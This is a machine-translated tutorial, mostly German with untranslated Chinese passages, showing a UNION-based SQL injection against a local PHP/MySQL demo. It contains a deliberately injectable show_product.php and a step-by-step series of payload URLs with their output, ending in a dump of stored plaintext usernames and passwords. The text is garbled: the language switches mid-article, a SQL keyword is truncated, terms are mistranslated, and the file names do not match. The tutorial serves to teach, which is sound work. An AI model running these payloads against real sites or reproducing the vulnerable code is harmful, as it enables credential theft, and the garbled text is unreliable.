Heim > Artikel > Backend-Entwicklung > Ein vollständiger Prozess der SQL-Injection in PHP
Der Inhalt dieses Artikels ist ein vollständiger Prozess der SQL-Injection in PHP. Jetzt kann ich ihn mit allen Freunden teilen, die ihn benötigen.
Nachdem ich einige Fähigkeiten der SQL-Injection erlernt habe Im Folgenden finden Sie eine einfache Praxis der SQL-Injection für PHP+MYSQL
Beobachten Sie zunächst zwei MYSQL-Datentabellen
Benutzerdatensatztabelle:
REATE TABLE `php_user` ( `id` int(11) NOT NULL auto_increment, `username` varchar(20) NOT NULL default '', `password` varchar(20) NOT NULL default '', `userlevel` char(2) NOT NULL default '0', PRIMARY KEY (`id`) ) TYPE=MyISAM AUTO_INCREMENT=3 ; INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd', '10'); INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');
Produktdatensatzliste:
CREATE TABLE `php_product` ( `id` int(11) NOT NULL auto_increment, `name` varchar(100) NOT NULL default '', `price` float NOT NULL default '0', `img` varchar(200) NOT NULL default '', PRIMARY KEY (`id`) ) TYPE=MyISAM AUTO_INCREMENT=3 ; INSERT INTO `php_product` VALUES (1, 'name_1', 12.2, 'images/name_1.jpg'); INSERT INTO `php_product` VALUES (2, 'name_2', 35.25, 'images/name_2.jpg');
Die folgende Datei ist show_product.php, die zur Anzeige der Produktliste verwendet wird. SQL-Injection nutzt auch die SQL-Anweisungsschwachstelle dieser Datei aus
<?php $conn = mysql_connect("localhost", "root", "root"); if(!$conn){ echo "数据库联接错误"; exit; } if (!mysql_select_db("phpsql")) { echo "选择数据库出错" . mysql_error(); exit; } $tempID=$_GET['id']; if($tempID<=0 || !isset($tempID)) $tempID=1; $sql = "SELECT * FROM php_product WHERE id =$tempID"; echo $sql.'<br>'; $result = mysql_query($sql); if (!$result) { echo "查询出错" . mysql_error(); exit; } if (mysql_num_rows($result) == 0) { echo "没有查询结果"; exit; } while ($row = mysql_fetch_assoc($result)) { echo 'ID:'.$row["id"].'<br>'; echo 'name:'.$row["name"].'<br>'; echo 'price:'.$row["price"].'<br>'; echo 'image:'.$row["img"].'<br>'; } ?>
Beachten Sie diese Anweisung: $sql = "SELECT * FROM php_product WHERE id =$tempID";
$tempID wird von $_GET erhalten. Wir können den Wert dieser Variablen konstruieren, um den Zweck der SQL-Injection zu erreichen
Konstruieren Sie jeweils die folgenden Links:
1, http://localhost/phpsql/index.php?id=1
Erhalten Sie die folgende Ausgabe
SELECT * FROM php_product WHERE id =1 //当前执行的SQL语句
//Holen Sie sich die Produktinformationsliste mit ID 1
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
2、 http://localhost/phpsql/index.php?id=1 or 1=1
得到输出
SELECT * FROM php_product WHERE id =1 or 1=1 //当前执行的SQL语句
//一共两条产品资料列表
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:2
name:name_2
price:35.25
image:images/name_2.jpg
1和2都得到资料列表输出,证明SQL语句执行成功
3、判断数据表字段数量
http://localhost/phpsql/index.php?id=1 union select 1,1,1,1
得到输出
SELECT * FROM php_product WHERE id =1 union select 1,1,1,1 //当前执行的SQL语句
//一共两条记录,注意第二条的记录为全1,这是union select联合查询的结果。
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:1
name:1
price:1
image:1
4、判断数据表字段类型
http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65),char(65)
得到输出
SELECT * FROM php_product WHERE id =1 union select char(65),char(65),char(65),char(65)
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:0
name:A
price:0
image:A
注意第二条记录,如果后面的值等于A,说明这个字段与union查询后面构造的字段类型相符。此时union后面
为char(65),表示字符串类型。经过观察。可以发现name字段和image字段的类型都是字符串类型
5、大功告成,得到我们想要的东西:
http://localhost/phpsql/index.php?id=10000 union select 1,username,1,password from php_user
得到输出:
SELECT * FROM php_product WHERE id =10000 union select 1,username,1,password from php_user
//Zwei Benutzerinformationen ausgeben, Name ist der Benutzername, image ist das Benutzerpasswort.
ID:1
Name:seven
Preis:1
Bild:seven_pwd
ID:1
Name:swons
Preis:1
Bild:swons_pwd
Beachten Sie, dass die ID=10000 in der URL nicht zum Abrufen der Produktinformationen dient, sondern nur um die folgenden Union-Abfrageergebnisse zu erhalten. In praktischeren Situationen sind die Werte der ID unterschiedlich
Der Benutzername und das Passwort der Gewerkschaft müssen an den Positionen 2 und 4 platziert werden. Nur so kann es mit der vorherigen Select-Anweisung übereinstimmen. Dies ist das Merkmal der Union-Abfrage
-Anweisung
Hinweis:
Diese einfache Injektion Die Methode ist kontextspezifischer. In Wirklichkeit ist es komplizierter. Aber das Prinzip ist dasselbe.
Verwandte Empfehlungen:
Datensicherheitsmethode zur Verhinderung der SQL-Injection in PHP
Beispiel einer Methode zur Verhinderung der SQL-Injection in PHP
Das obige ist der detaillierte Inhalt vonEin vollständiger Prozess der SQL-Injection in PHP. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!